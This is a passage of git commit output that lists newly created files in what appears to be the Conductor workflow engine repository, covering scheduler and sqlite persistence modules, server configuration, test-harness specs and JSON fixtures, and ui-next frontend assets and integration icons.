scheduler/redis-persistence/src/main/java/org/conductoross/conductor/scheduler/redis/config/RedisSchedulerConfiguration.java create mode 100644 scheduler/redis-persistence/src/main/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerArchivalDAO.java create mode 100644 scheduler/redis-persistence/src/main/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerCacheDAO.java create mode 100644 scheduler/redis-persistence/src/main/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerDAO.java create mode 100644 scheduler/redis-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports create mode 100644 scheduler/redis-persistence/src/test/java/org/conductoross/conductor/scheduler/redis/config/RedisSchedulerAutoConfigurationTest.java create mode 100644 scheduler/redis-persistence/src/test/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerArchivalDAOTest.java create mode 100644 scheduler/redis-persistence/src/test/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerDAOTest.java create mode 100644 scheduler/sqlite-persistence/build.gradle create mode 100644 scheduler/sqlite-persistence/src/main/java/org/conductoross/conductor/scheduler/sqlite/config/SqliteSchedulerConfiguration.java create mode 100644 scheduler/sqlite-persistence/src/main/java/org/conductoross/conductor/scheduler/sqlite/dao/SqliteSchedulerArchivalDAO.java create mode 100644 scheduler/sqlite-persistence/src/main/java/org/conductoross/conductor/scheduler/sqlite/dao/SqliteSchedulerDAO.java create mode 100644 scheduler/sqlite-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports create mode 100644 scheduler/sqlite-persistence/src/main/resources/db/migration_scheduler_sqlite/V1__scheduler_tables.sql create mode 100644 scheduler/sqlite-persistence/src/main/resources/db/migration_scheduler_sqlite/V2__scheduler_next_run_table.sql create mode 100644 scheduler/sqlite-persistence/src/test/java/org/conductoross/conductor/scheduler/sqlite/dao/SqliteSchedulerArchivalDAOTest.java create mode 100644 schemas/README.md create mode 100644 schemas/Task.json create mode 100644 schemas/TaskDef.json create mode 100644 schemas/Workflow.json create mode 100644 schemas/WorkflowDef.json create mode 100644 scripts/fetch-sdk-docs.py create mode 100755 serve-docs.sh create mode 100644 server/build.gradle create mode 100644 server/src/main/java/com/netflix/conductor/Conductor.java create mode 100644 server/src/main/java/com/netflix/conductor/server/AgentSpanUiContextController.java create mode 100644 server/src/main/java/com/netflix/conductor/server/config/AzureMonitorMetricsConfiguration.java create mode 100644 server/src/main/java/com/netflix/conductor/server/config/CloudWatchMetricsConfiguration.java create mode 100644 server/src/main/java/com/netflix/conductor/server/config/LoggingMetricsConfiguration.java create mode 100644 server/src/main/resources/META-INF/additional-spring-configuration-metadata.json create mode 100644 server/src/main/resources/application.properties create mode 100644 server/src/main/resources/banner.txt create mode 100644 server/src/main/resources/log4j2.xml create mode 100644 server/src/test/java/com/netflix/conductor/common/config/ConductorObjectMapperTest.java create mode 100644 settings.gradle create mode 100644 springboot-bom-overrides.gradle create mode 100644 sqlite-persistence/build.gradle create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/config/SqliteConfiguration.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/config/SqliteProperties.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqliteBaseDAO.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqliteExecutionDAO.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqliteIndexDAO.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqlitePollDataDAO.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqliteQueueDAO.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/metadata/SqliteEventHandlerMetadataDAO.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/metadata/SqliteMetadataDAO.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/metadata/SqliteTaskMetadataDAO.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/metadata/SqliteWorkflowMetadataDAO.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/ExecuteFunction.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/ExecutorsUtil.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/LazyToString.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/Query.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/QueryFunction.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/QueueStats.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/ResultSetHandler.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/SqliteIndexQueryBuilder.java create mode 100644 sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/util/TransactionalFunction.java create mode 100644 sqlite-persistence/src/main/java/org/conductoross/conductor/sqlite/dao/SqliteFileMetadataDAO.java create mode 100644 sqlite-persistence/src/main/java/org/conductoross/conductor/sqlite/dao/SqliteSkillMetadataDAO.java create mode 100644 sqlite-persistence/src/main/java/org/conductoross/conductor/sqlite/dao/SqliteSkillPackageDAO.java create mode 100644 sqlite-persistence/src/main/resources/db/migration_sqlite/V1__initial_schema.sql create mode 100644 sqlite-persistence/src/main/resources/db/migration_sqlite/V2__parent_workflow_id.sql create mode 100644 sqlite-persistence/src/main/resources/db/migration_sqlite/V3__file_metadata.sql create mode 100644 sqlite-persistence/src/main/resources/db/migration_sqlite/V4__agentspan_skills.sql create mode 100644 sqlite-persistence/src/main/resources/db/migration_sqlite/V5__workflow_index_classifier.sql create mode 100644 sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqliteExecutionDAOTest.java create mode 100644 sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqliteIndexDAOTest.java create mode 100644 sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqliteMetadataDAOTest.java create mode 100644 sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqlitePollDataTest.java create mode 100644 sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqliteQueueDAOTest.java create mode 100644 sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/util/SqliteIndexQueryBuilderTest.java create mode 100644 sqlite-persistence/src/test/resources/application.properties create mode 100644 task-status-listener/build.gradle create mode 100644 task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/RestClientManager.java create mode 100644 task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/StatusNotifier.java create mode 100644 task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/StatusNotifierNotificationProperties.java create mode 100644 task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/TaskNotification.java create mode 100644 task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/TaskStatusPublisher.java create mode 100644 task-status-listener/src/main/java/com/netflix/conductor/contribs/listener/TaskStatusPublisherConfiguration.java create mode 100644 test-harness/build.gradle create mode 100644 test-harness/src/functionalTest/java/com/netflix/conductor/test/functional/FunctionalInfraExtension.java create mode 100644 test-harness/src/functionalTest/resources/META-INF/services/org.junit.jupiter.api.extension.Extension create mode 100644 test-harness/src/functionalTest/resources/junit-platform.properties create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/base/AbstractResiliencySpecification.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/base/AbstractSpecification.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/DecisionTaskSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/DoWhileSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/DynamicForkJoinLockContentionSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/DynamicForkJoinSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/EnvBackedSecretsSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/EventTaskSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/ExclusiveJoinSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/ExternalPayloadStorageSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/FailureWorkflowSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/ForkJoinSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/HierarchicalForkJoinSubworkflowRerunSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/HierarchicalForkJoinSubworkflowRestartSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/HierarchicalForkJoinSubworkflowRetrySpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/HttpTaskSecretSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/InlineSecretSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/InlineSubWorkflowFromExpressionSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/JsonJQTransformSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/LambdaAndTerminateTaskSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/NestedForkJoinSubWorkflowSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/RetryPolicySpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/S3ExternalPayloadStorageE2ESpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/SQSEventQueueE2ESpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/SetVariableTaskSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/SimpleWorkflowSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/StartWorkflowSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowRerunSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowRestartSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowRetrySpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowSecretSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/SwitchTaskSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/SyncSystemTaskSecretSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/SystemTaskSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/TaskDeclaredSecretsSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/TaskLimitsWorkflowSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/TestWorkflowSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/WaitTaskSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/integration/WorkflowAndTaskConfigurationSpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/resiliency/QueueResiliencySpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/resiliency/TaskResiliencySpec.groovy create mode 100644 test-harness/src/test/groovy/com/netflix/conductor/test/util/WorkflowTestUtil.groovy create mode 100644 test-harness/src/test/java/com/netflix/conductor/ConductorTestApp.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/config/AzuriteFileStorageConfiguration.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/config/FakeGcsFileStorageConfiguration.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/config/LocalStackS3Configuration.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/config/LocalStackS3FileStorageConfiguration.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/config/LocalStackSQSConfiguration.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/integration/AbstractFileStorageIntegrationTest.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/integration/AzureBlobFileStorageIntegrationTest.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/integration/FileStorageIntegrationTest.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/integration/GcsFileStorageIntegrationTest.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/integration/S3FileStorageIntegrationTest.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/integration/TestHarnessAbstractEndToEndTest.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/integration/a2a/A2ADurableEngineEndToEndTest.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/integration/ai/AIReasoningEndToEndTest.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/integration/grpc/GrpcEndToEndTest.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/integration/grpc/TestHarnessAbstractGrpcEndToEndTest.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/integration/http/ForkJoinSyncModeIntegrationTest.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/integration/http/HttpEndToEndTestTestHarness.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/integration/http/SchedulerIntegrationTest.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/integration/http/TestHarnessAbstractHttpEndToEndTest.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/integration/http/functional/FunctionalTestBase.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/integration/http/functional/WorkflowFunctionalTest.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/utils/MockExternalPayloadStorage.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/utils/MockExternalPayloadStorageTest.java create mode 100644 test-harness/src/test/java/com/netflix/conductor/test/utils/UserTask.java create mode 100644 test-harness/src/test/resources/application-functionaltest.properties create mode 100644 test-harness/src/test/resources/application-integrationtest.properties create mode 100644 test-harness/src/test/resources/application-s3test.properties create mode 100644 test-harness/src/test/resources/application-sqstest.properties create mode 100644 test-harness/src/test/resources/concurrency_limited_task_workflow_integration_test.json create mode 100644 test-harness/src/test/resources/conditional_switch_task_workflow_integration_test.json create mode 100644 test-harness/src/test/resources/conditional_system_task_workflow_integration_test.json create mode 100644 test-harness/src/test/resources/conditional_task_workflow_integration_test.json create mode 100644 test-harness/src/test/resources/decision_and_fork_join_integration_test.json create mode 100644 test-harness/src/test/resources/decision_and_terminate_integration_test.json create mode 100644 test-harness/src/test/resources/do_while_as_subtask_integration_test.json create mode 100644 test-harness/src/test/resources/do_while_cleanup_demo.json create mode 100644 test-harness/src/test/resources/do_while_five_loop_over_integration_test.json create mode 100644 test-harness/src/test/resources/do_while_high_iteration_test.json create mode 100644 test-harness/src/test/resources/do_while_integration_test.json create mode 100644 test-harness/src/test/resources/do_while_iteration_fix_test.json create mode 100644 test-harness/src/test/resources/do_while_multiple_integration_test.json create mode 100644 test-harness/src/test/resources/do_while_set_variable_fix.json create mode 100644 test-harness/src/test/resources/do_while_sub_workflow_integration_test.json create mode 100644 test-harness/src/test/resources/do_while_system_tasks.json create mode 100644 test-harness/src/test/resources/do_while_timeline_ui_demo.json create mode 100644 test-harness/src/test/resources/do_while_with_decision_task.json create mode 100644 test-harness/src/test/resources/dynamic_fork_join_integration_test.json create mode 100644 test-harness/src/test/resources/event_workflow_integration_test.json create mode 100644 test-harness/src/test/resources/exclusive_join_integration_test.json create mode 100644 test-harness/src/test/resources/failure_workflow_for_terminate_task_workflow.json create mode 100644 test-harness/src/test/resources/fork_join_integration_test.json create mode 100644 test-harness/src/test/resources/fork_join_permissive_integration_test.json create mode 100644 test-harness/src/test/resources/fork_join_sub_workflow.json create mode 100644 test-harness/src/test/resources/fork_join_sync_mode_integration_test.json create mode 100644 test-harness/src/test/resources/fork_join_sync_nested_integration_test.json create mode 100644 test-harness/src/test/resources/fork_join_sync_optional_fail_integration_test.json create mode 100644 test-harness/src/test/resources/fork_join_with_no_permissive_task_retry_integration_test.json create mode 100644 test-harness/src/test/resources/fork_join_with_no_task_retry_integration_test.json create mode 100644 test-harness/src/test/resources/fork_join_with_optional_sub_workflow_forks_integration_test.json create mode 100644 test-harness/src/test/resources/hierarchical_fork_join_swf.json create mode 100644 test-harness/src/test/resources/input.json create mode 100644 test-harness/src/test/resources/json_jq_transform_result_integration_test.json create mode 100644 test-harness/src/test/resources/nested_fork_join_integration_test.json create mode 100644 test-harness/src/test/resources/nested_fork_join_swf.json create mode 100644 test-harness/src/test/resources/nested_fork_join_with_sub_workflow_integration_test.json create mode 100644 test-harness/src/test/resources/output.json create mode 100644 test-harness/src/test/resources/rate_limited_simple_task_workflow_integration_test.json create mode 100644 test-harness/src/test/resources/rate_limited_system_task_workflow_integration_test.json create mode 100644 test-harness/src/test/resources/sequential_json_jq_transform_integration_test.json create mode 100644 test-harness/src/test/resources/set_variable_workflow_integration_test.json create mode 100644 test-harness/src/test/resources/simple_decision_task_integration_test.json create mode 100644 test-harness/src/test/resources/simple_json_jq_transform_integration_test.json create mode 100644 test-harness/src/test/resources/simple_lambda_workflow_integration_test.json create mode 100644 test-harness/src/test/resources/simple_one_task_sub_workflow_integration_test.json create mode 100644 test-harness/src/test/resources/simple_set_variable_workflow_integration_test.json create mode 100644 test-harness/src/test/resources/simple_switch_task_integration_test.json create mode 100644 test-harness/src/test/resources/simple_wait_task_workflow_integration_test.json create mode 100644 test-harness/src/test/resources/simple_workflow_1_input_template_integration_test.json create mode 100644 test-harness/src/test/resources/simple_workflow_1_integration_test.json create mode 100644 test-harness/src/test/resources/simple_workflow_3_integration_test.json create mode 100644 test-harness/src/test/resources/simple_workflow_with_async_complete_system_task_integration_test.json create mode 100644 test-harness/src/test/resources/simple_workflow_with_optional_task_integration_test.json create mode 100644 test-harness/src/test/resources/simple_workflow_with_permissive_optional_task_integration_test.json create mode 100644 test-harness/src/test/resources/simple_workflow_with_permissive_task_integration_test.json create mode 100644 test-harness/src/test/resources/simple_workflow_with_resp_time_out_integration_test.json create mode 100644 test-harness/src/test/resources/simple_workflow_with_sub_workflow_inline_def_integration_test.json create mode 100644 test-harness/src/test/resources/sqs-complete-wait-event-handler.json create mode 100644 test-harness/src/test/resources/sqs-test-workflow.json create mode 100644 test-harness/src/test/resources/start_workflow_input.json create mode 100644 test-harness/src/test/resources/switch_and_fork_join_integration_test.json create mode 100644 test-harness/src/test/resources/switch_and_terminate_integration_test.json create mode 100644 test-harness/src/test/resources/switch_with_no_default_case_integration_test.json create mode 100644 test-harness/src/test/resources/terminate_task_completed_workflow_integration_test.json create mode 100644 test-harness/src/test/resources/terminate_task_failed_workflow_integration.json create mode 100644 test-harness/src/test/resources/terminate_task_parent_workflow.json create mode 100644 test-harness/src/test/resources/terminate_task_sub_workflow.json create mode 100644 test-harness/src/test/resources/terminate_task_terminated_status_in_do_while_test.json create mode 100644 test-harness/src/test/resources/terminate_task_terminated_status_test.json create mode 100644 test-harness/src/test/resources/test_task_failed_parent_workflow.json create mode 100644 test-harness/src/test/resources/test_task_failed_sub_workflow.json create mode 100644 test-harness/src/test/resources/wait_workflow_integration_test.json create mode 100644 test-harness/src/test/resources/workflow_that_starts_another_workflow.json create mode 100644 test-harness/src/test/resources/workflow_with_sub_workflow_1_integration_test.json create mode 100644 test-harness/src/test/resources/workflow_with_synchronous_system_task.json create mode 100644 test-util/build.gradle create mode 100644 test-util/src/test/groovy/com/netflix/conductor/test/base/AbstractResiliencySpecification.groovy create mode 100644 test-util/src/test/groovy/com/netflix/conductor/test/base/AbstractSpecification.groovy create mode 100644 test-util/src/test/groovy/com/netflix/conductor/test/util/WorkflowTestUtil.groovy create mode 100644 test-util/src/test/java/com/netflix/conductor/ConductorTestApp.java create mode 100644 test-util/src/test/java/com/netflix/conductor/common/config/TestObjectMapperConfiguration.java create mode 100644 test-util/src/test/java/com/netflix/conductor/test/integration/AbstractEndToEndTest.java create mode 100644 test-util/src/test/java/com/netflix/conductor/test/integration/grpc/AbstractGrpcEndToEndTest.java create mode 100644 test-util/src/test/resources/application-integrationtest.properties create mode 100644 ui-next/.env create mode 100644 ui-next/.gitignore create mode 100755 ui-next/.husky/pre-commit create mode 100644 ui-next/.npmrc create mode 100644 ui-next/.prettierignore create mode 100644 ui-next/.prettierrc.json create mode 100644 ui-next/README.md create mode 100644 ui-next/docker-compose.snapshots.yml create mode 100644 ui-next/e2e/__snapshots__/snapshots.spec.ts/app-shell.png create mode 100644 ui-next/e2e/__snapshots__/snapshots.spec.ts/event-handler-defs.png create mode 100644 ui-next/e2e/__snapshots__/snapshots.spec.ts/executions.png create mode 100644 ui-next/e2e/__snapshots__/snapshots.spec.ts/scheduler-defs.png create mode 100644 ui-next/e2e/__snapshots__/snapshots.spec.ts/switch-workflow-diagram.png create mode 100644 ui-next/e2e/__snapshots__/snapshots.spec.ts/task-defs.png create mode 100644 ui-next/e2e/__snapshots__/snapshots.spec.ts/workflow-defs.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-after-reset-desktop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-after-reset-laptop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-after-reset-mobile.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-after-reset-tablet.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-default-state-desktop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-default-state-laptop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-default-state-mobile.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-default-state-tablet.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-results-completed-desktop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-results-completed-laptop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-results-completed-mobile.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-results-completed-tablet.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-sql-mode-desktop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-sql-mode-laptop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-sql-mode-mobile.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-sql-mode-tablet.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-sql-mode-toggled-off-desktop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-sql-mode-toggled-off-laptop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-sql-mode-toggled-off-mobile.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-sql-mode-toggled-off-tablet.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-sql-mode-with-query-desktop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-sql-mode-with-query-laptop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-sql-mode-with-query-mobile.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-sql-mode-with-query-tablet.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-with-multiple-filters-desktop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-with-multiple-filters-laptop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-with-multiple-filters-mobile.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-with-multiple-filters-tablet.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-with-status-filter-desktop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-with-status-filter-laptop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-with-status-filter-mobile.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-with-status-filter-tablet.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-with-workflow-id-desktop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-with-workflow-id-laptop.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-with-workflow-id-mobile.png create mode 100644 ui-next/e2e/__snapshots__/workflow-execution-search-filters.spec.ts/execution-search-with-workflow-id-tablet.png create mode 100644 ui-next/e2e/helpers/mockApi.ts create mode 100644 ui-next/e2e/integration/api-client.ts create mode 100644 ui-next/e2e/integration/executions.spec.ts create mode 100644 ui-next/e2e/integration/global-setup.ts create mode 100644 ui-next/e2e/integration/global-teardown.ts create mode 100644 ui-next/e2e/integration/task-definitions.spec.ts create mode 100644 ui-next/e2e/integration/workflows.spec.ts create mode 100644 ui-next/e2e/navigation.spec.ts create mode 100644 ui-next/e2e/smoke.spec.ts create mode 100644 ui-next/e2e/snapshots.spec.ts create mode 100644 ui-next/e2e/workflow-execution-search-filters.spec.ts create mode 100644 ui-next/eslint.config.mjs create mode 100644 ui-next/index.html create mode 100644 ui-next/package.json create mode 100644 ui-next/playwright.config.ts create mode 100644 ui-next/playwright.integration.config.ts create mode 100644 ui-next/playwright.snapshots.config.ts create mode 100644 ui-next/pnpm-lock.yaml create mode 100644 ui-next/pnpm-workspace.yaml create mode 100644 ui-next/public/conductorLogo-dark.svg create mode 100644 ui-next/public/conductorLogo.png create mode 100644 ui-next/public/conductorLogo.svg create mode 100644 ui-next/public/conductorLogoSmall.png create mode 100644 ui-next/public/conductorLogoSmall.svg create mode 100644 ui-next/public/context.js create mode 100644 ui-next/public/context.js.example create mode 100644 ui-next/public/diagramDotBg.svg create mode 100644 ui-next/public/enterIcon.svg create mode 100644 ui-next/public/enterprise-add-ons/integrations.webp create mode 100644 ui-next/public/favicon.ico create mode 100644 ui-next/public/icons/apple-touch-icon.png create mode 100644 ui-next/public/icons/favicon-16x16.png create mode 100644 ui-next/public/icons/favicon-32x32.png create mode 100644 ui-next/public/icons/icon-144x144.png create mode 100644 ui-next/public/icons/icon-192x192.png create mode 100644 ui-next/public/icons/icon-256x256.png create mode 100644 ui-next/public/icons/icon-384x384.png create mode 100644 ui-next/public/icons/icon-48x48.png create mode 100644 ui-next/public/icons/icon-512x512.png create mode 100644 ui-next/public/icons/icon-72x72.png create mode 100644 ui-next/public/icons/icon-96x96.png create mode 100644 ui-next/public/icons/info-icon.svg create mode 100644 ui-next/public/integrations-icons/Grok.svg create mode 100644 ui-next/public/integrations-icons/Productivity.svg create mode 100644 ui-next/public/integrations-icons/airtable.svg create mode 100644 ui-next/public/integrations-icons/amazon.svg create mode 100644 ui-next/public/integrations-icons/amqp.svg create mode 100644 ui-next/public/integrations-icons/anthropic.svg create mode 100644 ui-next/public/integrations-icons/apachekafka.svg create mode 100644 ui-next/public/integrations-icons/asana.svg create mode 100644 ui-next/public/integrations-icons/aws-lambda.svg create mode 100644 ui-next/public/integrations-icons/aws-s3.svg create mode 100644 ui-next/public/integrations-icons/aws-ses.svg create mode 100644 ui-next/public/integrations-icons/aws-sns.svg create mode 100644 ui-next/public/integrations-icons/aws.svg create mode 100644 ui-next/public/integrations-icons/azure-devops.svg create mode 100644 ui-next/public/integrations-icons/azure-functions.svg create mode 100644 ui-next/public/integrations-icons/azure-storage.svg create mode 100644 ui-next/public/integrations-icons/azure.svg create mode 100644 ui-next/public/integrations-icons/azureOpenAI.svg create mode 100644 ui-next/public/integrations-icons/azure_openai.svg create mode 100644 ui-next/public/integrations-icons/azure_service_bus.svg create mode 100644 ui-next/public/integrations-icons/bedrock.svg create mode 100644 ui-next/public/integrations-icons/bitbucket.svg create mode 100644 ui-next/public/integrations-icons/circleci.svg create mode 100644 ui-next/public/integrations-icons/clickhouse.svg create mode 100644 ui-next/public/integrations-icons/cloudflare.svg create mode 100644 ui-next/public/integrations-icons/cohere.svg create mode 100644 ui-next/public/integrations-icons/commonroom.svg create mode 100644 ui-next/public/integrations-icons/conductor.svg create mode 100644 ui-next/public/integrations-icons/confluent.svg create mode 100644 ui-next/public/integrations-icons/datadog.svg create mode 100644 ui-next/public/integrations-icons/default.svg create mode 100644 ui-next/public/integrations-icons/digitalocean.svg create mode 100644 ui-next/public/integrations-icons/discord.svg create mode 100644 ui-next/public/integrations-icons/discourse.svg create mode 100644 ui-next/public/integrations-icons/docker.svg create mode 100644 ui-next/public/integrations-icons/firebase-firestore.svg create mode 100644 ui-next/public/integrations-icons/freshdesk.svg 